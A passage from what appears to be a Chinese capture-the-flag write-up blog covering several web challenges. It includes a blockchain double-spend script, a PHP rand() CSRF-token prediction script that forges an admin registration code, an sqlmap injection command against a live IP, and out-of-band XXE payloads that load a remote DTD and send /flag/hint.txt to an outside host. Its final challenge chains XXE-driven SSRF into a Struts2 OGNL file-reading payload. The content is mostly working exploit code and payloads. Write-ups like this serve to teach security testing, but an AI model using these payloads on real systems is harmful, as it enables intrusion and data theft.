session = ".eJzNll1vozgYhf_KKte9AANNGGkvwpIgorERiQljr1YjvgoYSKsmnQSP-t_3kPnaaVdzsdpZbaq0qYPx6_Oe55iPs7y_L7rj7M3HmeMQs6rmd5lrE3Lrmqbl2M6c5K6dEdNxy2peEsNy7bmzWJBi4dr53HDssnCdeUUy25zu0WTHZvr7Sz57M2M8GWm67xmRTcTjkSrhUL7SjMcm05s24tuGqpUZpVtcg-996jC_MCO_HoWuHRaEFvUTQwYY52VPh5VB419_nT3fzJqqrZvT7A25mR3uD0X1dVGx8_r8nWdUO6_NA1dl508THh6rD98u4oXBgn1LldfTILwwQs-SbxXVhU39dYcKHIw7dIgdqWJTTNdxrB5Qg_I9Kq9NwVcXqoWmwcqSPDbE54VOj9nhmBWn9v4AWX__A0PzIrfzrMgcMyeOQcxbq3QWRWFhML9zcydfkNu72_x2QexbMjeqynLdam6TyiZZOXfc18oS1rJg0wiyMmkajowvR8qFln5iC0L19btBOEKhVj8kUsmWqXpkvhiZ9nrJqROlicX8TY93IyfVXyhrvFR2HzR9uN4-5Oleh_5SvzUemrxdoG1LJ1yxe5E6SqaXY26FdU7sWhw2D_lwxGdRF2SvsPcuRGFZevlQvotrObjj9D-ued0h3PT8r7-Xf9uhF9pSElqC10bkJ6bQgqD30DkeJV9ZLIWjgxWJODQm8A0PL0IlBlOyF0NyZlx2IoVv1Lql0JiRdQv3d19c2x4enk6TKW5m90-nT58_zrKyfPxmTbVBq_pWKmoDGMCB6bxDa-Mzxhzq73sZrAxBsEy6GkUqLmyILcr7ll1bXhhCMYDloa1lg_GeBQDMX_csDWHVwha66eUQE2xFU8xhenmBnfVk66nMbLh_OqA207i-br4XKOIbzJbd1Ti8A9LiEkEcqulZKKyQAiwNXP0CFSdWBGNGfIlqWS-n3Whgk1JcR1GtbKRaK_oZnrb8uozkm1YMmw69OFFV2_Q3w2B-Mr7lfcP85YnpEALFNjZkUZKcZ8_PkPXY1ofs9PRYXdGb4Mvmtl3lxKiM3JwXRmUX1nxhmOVi4Rq5S0r3znZyozJN2yhs08ndhZMh-24tI5tXtl28gu9nhscX-MyX8O1W6zDenevdzvP4zkt2q6SOu3W0G72Im0XzCqCfGRE_BkgGU5SHJh22SmgPDiwHOQhLBkxFKWugXQNXozLWC1TEeNNNeka-p6TqCGA7s2tVk6PhjQBz6u8B-sce-QF5EZ-Ar0dK9pi876PpyOGhLYYYx5EwpA9C0lAzFZoilS2C4hKlUxBscbx1FkUQRMGkcGjLNMYxtoVHtgNLp_v1kw69IFATfojS1Rk-gndQoN5OYXH5K3nu9fUCvOn8FDokQPYi-XqIeKEn0QTOUwhuMV3AcOGF-vU58q_nLgTEWRskaOUGZl3BqJ3FOBbXxYUiCthr8FiKffrURrKcrkkyGoZUS_IW6RH53YlxHM1-0133GOw7gHfzfw6xlypqb5C-VEL1PX7blCeYE-soWA_AFJAsL0x3QFT2TKN1Exo-kB_oBAfq8jo5MMX8CawY0jStXL5WkU_U90jJ-iTVXkU7qOgL6y2vp_Q7yTRBDkKKqz1Z_zq-vmiZJjZgVbDhmSoGWwJSzRCbFOtvoXEP_wucS5sWmhLBu7MMEmjkIYpQa4rzSbOWDqEzxTb0mp6osGcgFgBTzQbJ4RbdDzSlppz2xXsFN42w6MQMfrC5ujpUx_b4_vrE-P4_ex4Z758e35ct2nkokTbG858lvWhh.DgANcA.6CMFZnK_d-iV9nVLo8ptBTY2ejM"
cookies = {"session": session}
req = s.get(
"http://116.85.48.107:5000/b9ca5f959dd7e/", cookies=cookies)
block1 = {}
block1["prev"] = GENESIS_BLOCK_HASH
block1["transactions"] = getTrans()
block1 = burst(block1, DIFFICULTY)
# 创世区块
req1 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
data=myprint(block1), headers=headers(session))
print "req1:"
print req1.content
# 区块二 因为reset,此时链最长(少则一次多则两次)钻石+1 商店转走钱 此时区块长度为3(商店转走会生成一个新的区块)
session2 = req1.headers['Set-Cookie'].split(";")[0][8:]
block2 = emptyBlock(block1['hash'], "empty2")
req2 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
data=json.dumps(block2), headers=headers(session2))
print "req2:"
print req2.content
# 区块三 从区块二开始挖矿
session3 = req2.headers['Set-Cookie'].split(";")[0][8:]
block3 = emptyBlock(block2['hash'], "empty3")
req3 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
data=json.dumps(block3), headers=headers(session3))
print "req3:"
print req3.content
# 区块四 这时链变为最长的了,钻石+1 商店转走 区块 长度变为5
session4 = req3.headers['Set-Cookie'].split(";")[0][8:]
block4 = emptyBlock(block3['hash'], "empty4")
req4 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
data=json.dumps(block4), headers=headers(session4))
print "req4:"
print req4.content
# 区块五 这确保链会最长
session5 = req4.headers['Set-Cookie'].split(";")[0][8:]
block5 = emptyBlock(block4['hash'], "empty5")
req5 = s.post("http://116.85.48.107:5000/b9ca5f959dd7e/create_transaction",
data=json.dumps(block5), headers=headers(session5))
print "req5:"
print req5.content
# 获取flag
session6 = req5.headers['Set-Cookie'].split(";")[0][8:]
req6 = s.get("http://116.85.48.107:5000/b9ca5f959dd7e/flag",
headers=headers(session6))
print "flag:"
print req6.content
if __name__ == '__main__':
main()
0x04参考
5.我的博客

<?php session_start(); include('config.php'); if($_SERVER['REQUEST_METHOD'] === "POST") { if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) { die("CSRF token error!"); } $admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32); $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username'); $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password'); $code = (isset($_POST['code']) === true) ? (string)$_POST['code'] : ''; if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT username FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch() !== false) {
die('username has been registered');
}
if($code === $admin) {
$identity = "admin";
} else {
$identity = "guest";
}
$sth = $pdo->prepare('INSERT INTO users (username, password, `identity`) VALUES (:username, :password, :identity)');
$sth->execute([':username' => $username, ':password' => $password, ':identity' => $identity]);
echo '<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3Ealert(%22register%20success%22)%3Blocation.href%3D%22.%2Flogin.php%22%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="<script>" title="<script>" />';
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Sign up</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/signin.css" rel="stylesheet">
</head>
<body>
<div class="container">
<form class="form-signin" action="register.php" method="post">
<h2 class="form-signin-heading">Please Sign up</h2>
<input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
<label for="inputUsername" class="sr-only">Username</label>
<input type="text" name="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
<label for="inputPassword" class="sr-only">Password</label>
<input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required>
<label for="inputCode" class="sr-only">Code</label>
<input type="text" name="code" id="inputCode" class="form-control" placeholder="Code" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">Sign up</button>
</form>
</div>
</body>
</html>
<?php } ?>
<?php session_start(); include('config.php'); if($_SERVER['REQUEST_METHOD'] === "POST") { if(!(isset($_POST['csrf']) and (string)$_POST['csrf'] === $_SESSION['csrf'])) { die("CSRF token error!"); } $username = (isset($_POST['username']) === true && $_POST['username'] !== '') ? (string)$_POST['username'] : die('Missing username'); $password = (isset($_POST['password']) === true && $_POST['password'] !== '') ? (string)$_POST['password'] : die('Missing password'); if (strlen($username) > 32 || strlen($password) > 32) {
die('Invalid input');
}
$sth = $pdo->prepare('SELECT password FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] !== $password) {
die('wrong password');
}
$sth = $pdo->prepare('SELECT `identity` FROM users WHERE username = :username');
$sth->execute([':username' => $username]);
if ($sth->fetch()[0] === "admin") {
$_SESSION['is_admin'] = true;
} else {
$_SESSION['is_admin'] = false;
}
#echo $username;
header("Location: index.php");
} else {
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Signin</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/signin.css" rel="stylesheet">
</head>
<body>
<div class="container">
<form class="form-signin" action="login.php" method="post">
<h2 class="form-signin-heading">Please Sign in</h2>
<input type="hidden" name="csrf" id="csrf" value="<?php $_SESSION['csrf'] = (string)rand();echo $_SESSION['csrf']; ?>" required>
<label for="inputUsername" class="sr-only">Username</label>
<input type="text" name="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
<label for="inputPassword" class="sr-only">Password</label>
<input type="password" name="password" id="inputPassword" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
<a href="register.php" class="btn btn-primary btn-lg btn-block" role="button">Sign up</a>
</form>
</div>
</body>
</html>
<?php } ?>
<?php
session_start();
include "config.php";
if (!isset($_SESSION['is_admin'])) {
die('
Please <a href="login.php">login</a>!');
}
if (!$_SESSION['is_admin']) {
die('You are not admin.
Please <a href="login.php">login</a>!');
}
if(isset($_GET['id'])){
$id = addslashes($_GET['id']);
if(isset($_GET['title'])){
$title = addslashes($_GET['title']);
$title = sprintf("AND title='%s'", $title);
}else{
$title = '';
}
$sql = sprintf("SELECT * FROM article WHERE id='%s' $title", $id);
foreach ($pdo->query($sql) as $row) {
echo "
<h1>".$row['title']."</h1>
".$row['content'];
die();
}
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Admin</title>
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/sticky-footer.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="page-header">
<h1>文章列表</h1>
</div>
<div class="lead">
<li><a href='?id=1'>Welcome!</a>
</li>
<li><a href='?id=2'>Hello,world!</a>
</li>
</div>
</div>
<footer class="footer">
<div class="container">
©2017 Admin
</div>
</footer>
</body>
</html>
$admin = "admin###" . substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'), 0, 32);

randList = []
for i in range(32):
req = s.get(url + "register.php")
randList.append(int(re.search(partten, req.text).group(1)))
for i in range(32, 120):
#rand的范围是 0 -max max的范围是32767 - 2147483647 (机器决定的,64位为2147483647)
rand = (randList[i - 3] + randList[i - 31]) % 2147483647
randList.append(rand)
print("开始测试第33个csrftoken: " + str(randList[32]))
req = s.get(url + "register.php")
csrf = re.search(partten, req.text).group(1)
print("url中的csrf是: " + csrf)
static void php_string_shuffle(char * str, long len TSRMLS_DC) / * {{{* /
{
long n_elems, rnd_idx, n_left;
char temp;
/ * The implementation is stolen from array_data_shuffle * /
/ * Thus the characteristics of the randomization are the same * /
n_elems = len;
if (n_elems <= 1) {
return; }
n_left = n_elems;
while (--n_left) {
rnd_idx = php_rand(TSRMLS_C);
RAND_RANGE(rnd_idx, 0, n_left, PHP_RAND_MAX);
if (rnd_idx != n_left) {
temp = str[n_left];
str[n_left] = str[rnd_idx];
str[rnd_idx] = temp; }
}
}
def RAND_RANGE(__n, __min, __max, __tmax):
return __min + (__max - __min + 1.0) * (__n / (__tmax + 1.0))
def shuffle(astr, randlist):
n_elems = len(astr)
astr = bytearray(astr, 'utf-8')
if n_elems <= 1:
return
n_left = n_elems
i = 0
while n_left:
n_left -= 1
rnd_idx = randlist[33 + i]
i += 1
rnd_idx = int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647))
if rnd_idx != n_left:
astr[n_left], astr[rnd_idx] = astr[rnd_idx], astr[n_left]
return astr
# -*- coding:utf-8 -*-
# written by python3.5
import re
import requests
url = "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/"
s = requests.Session()
partten = '<input type="hidden" name="csrf" id="csrf" value="([0-9]*)" required>'
def RAND_RANGE(__n, __min, __max, __tmax):
return __min + (__max - __min + 1.0) * (__n / (__tmax + 1.0))
def shuffle(astr, randlist):
n_elems = len(astr)
astr = bytearray(astr, 'utf-8')
if n_elems <= 1:
return
n_left = n_elems
i = 0
while n_left:
n_left -= 1
rnd_idx = randlist[33 + i]
i += 1
rnd_idx = int(RAND_RANGE(rnd_idx, 0, n_left, 2147483647))
if rnd_idx != n_left:
astr[n_left], astr[rnd_idx] = astr[rnd_idx], astr[n_left]
return astr
def getAdmin():
randList = []
for i in range(32):
req = s.get(url + "register.php")
randList.append(int(re.search(partten, req.text).group(1)))
for i in range(32, 120):
#rand的范围是 0 -max max的范围是32767 - 2147483647 (机器决定的,64位为2147483647)
rand = (randList[i - 3] + randList[i - 31]) % 2147483647
randList.append(rand)
print("开始测试第33个csrftoken: " + str(randList[32]))
req = s.get(url + "register.php")
csrf = re.search(partten, req.text).group(1)
print("url中的csrf是: " + csrf)
astr = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
bstr = shuffle(astr, randList)
calcStr = "admin###" + bstr[0:32].decode('utf-8')
print(calcStr)
data = {
"csrf": csrf,
"username": "youncyb",
"password": "1",
"code": calcStr
}
req = s.post(url + "register.php", data=data)
print(req.text)
getAdmin()


python2 sqlmap.py -u "http://116.85.39.110:5032/a8e794800ac5c088a73b6b9b38b38c8d/index.php?id=2&title=Hello,world!" --prefix="%1$'" --suffix="--+" -p title --cookie="PHPSESSID=c925455c7354393bb59eb02c8dfea971" --dump

6.喝杯JAVA冷静下
0x01题目分析




0x02 代码分析
package com.eliteams.quick4j.web.controller;
import com.eliteams.quick4j.web.model.User;
import com.eliteams.quick4j.web.service.UserService;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import javax.annotation.Resource;
import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;
import javax.validation.Valid;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.apache.commons.io.FileUtils;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.apache.shiro.authz.annotation.RequiresRoles;
import org.apache.shiro.subject.Subject;
import org.springframework.http.HttpHeaders;
import org.springframework.http.HttpStatus;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.validation.BindingResult;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.w3c.dom.Document;
import org.xml.sax.SAXException;
@Controller
@RequestMapping({"/user"})
public class UserController
{
public static final String hintFile = "/flag/hint.txt";
@Resource
private UserService userService;
@RequestMapping(value={"/login"}, method={org.springframework.web.bind.annotation.RequestMethod.POST})
public String login(@Valid User user, BindingResult result, Model model, HttpServletRequest request)
{
try
{
Subject subject = SecurityUtils.getSubject();
if (subject.isAuthenticated()) {
return "redirect:/";
}
if (result.hasErrors())
{
model.addAttribute("error", "����������");
return "login";
}
if ((user.getUsername().isEmpty()) || (user.getUsername() == null) ||
(user.getPassword().isEmpty()) || (user.getPassword() == null)) {
return "login";
}
subject.login(new UsernamePasswordToken(user.getUsername(), user.getPassword()));
User authUserInfo = this.userService.selectByUsername(user.getUsername());
request.getSession().setAttribute("userInfo", authUserInfo);
}
catch (AuthenticationException e)
{
model.addAttribute("error", "���������������� ��");
return "login";
}
return "redirect:/";
}
@RequestMapping(value={"/logout"}, method={org.springframework.web.bind.annotation.RequestMethod.GET})
public String logout(HttpSession session)
{
session.removeAttribute("userInfo");
Subject subject = SecurityUtils.getSubject();
subject.logout();
return "login";
}
@RequestMapping(value={"/admin"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"admin"})
public String admin()
{
return "����admin����,������";
}
@RequestMapping(value={"/create"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresPermissions({"user:create"})
public String create()
{
return "����user:create����,������";
}
@RequestMapping(value={"/getInfomation"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"guest"})
public ResponseEntity<byte[]> download(HttpServletRequest request, String filename)
throws IOException
{
if ((filename.contains("../")) || (filename.contains("./")) || (filename.contains("..\\")) || (filename.contains(".\\"))) {
return null;
}
String path = request.getServletContext().getRealPath("/");
System.out.println(path);
File file = new File(path + File.separator + filename);
HttpHeaders headers = new HttpHeaders();
String downloadFielName = new String(filename.getBytes("UTF-8"), "iso-8859-1");
headers.setContentDispositionFormData("attachment", downloadFielName);
headers.setContentType(MediaType.APPLICATION_OCTET_STREAM);
return new ResponseEntity(FileUtils.readFileToByteArray(file), headers, HttpStatus.CREATED);
}
@RequestMapping(value={"/nicaicaikan_url_23333_secret"}, produces={"text/html;charset=UTF-8"})
@ResponseBody
@RequiresRoles({"super_admin"})
public String xmlView(String xmlData)
{
if (xmlData.length() >= 1000) {
return "Too long~~";
}
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setExpandEntityReferences(true);
try
{
DocumentBuilder builder = factory.newDocumentBuilder();
InputStream xmlInputStream = new ByteArrayInputStream(xmlData.getBytes());
Document localDocument = builder.parse(xmlInputStream);
}
catch (ParserConfigurationException e)
{
e.printStackTrace();
return "ParserConfigurationException";
}
catch (SAXException e)
{
e.printStackTrace();
return "SAXException";
}
catch (IOException e)
{
e.printStackTrace();
return "IOException";
}
return "ok~ try to read /flag/hint.txt";
}
}

0x03 payload构造
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ABC[<!ENTITY % remote SYSTEM "http://118.89.48.29/youncyb.xml"> %remote; ]>
<!ENTITY % file SYSTEM "file:///flag/hint.txt"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;

<!ENTITY % file SYSTEM "http://tomcat_2:8080/"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;

<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;


?redirect:${#f=new java.io.File('/flag/flag.txt'),#fs=new java.io.FileInputStream(#f),#ISR=new java.io.InputStreamReader(#fs,'GBK'),#br=new java.io.BufferedReader(#ISR),#lText = #br.readLine(),#ISR.close(),#matt=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#matt.getWriter().println(#lText),#matt.getWriter().flush(),#matt.getWriter().close()}
<!ENTITY % file SYSTEM "http://tomcat_2:8080/hello.action?redirect%3a%24%7b%23f%3dnew+java.io.File(%27%2fflag%2fflag.txt%27)%2c%23fs%3dnew+java.io.FileInputStream(%23f)%2c%23ISR%3dnew+java.io.InputStreamReader(%23fs%2c%27GBK%27)%2c%23br%3dnew+java.io.BufferedReader(%23ISR)%2c%23lText+%3d+%23br.readLine()%2c%23ISR.close()%2c%23matt%3d%23context.get(%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27)%2c%23matt.getWriter().println(%23lText)%2c%23matt.getWriter().flush()%2c%23matt.getWriter().close()%7d"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://xxx.xxx.xxx.xxx:5433/%file;'>"> %int; %send;


Comments NOTHING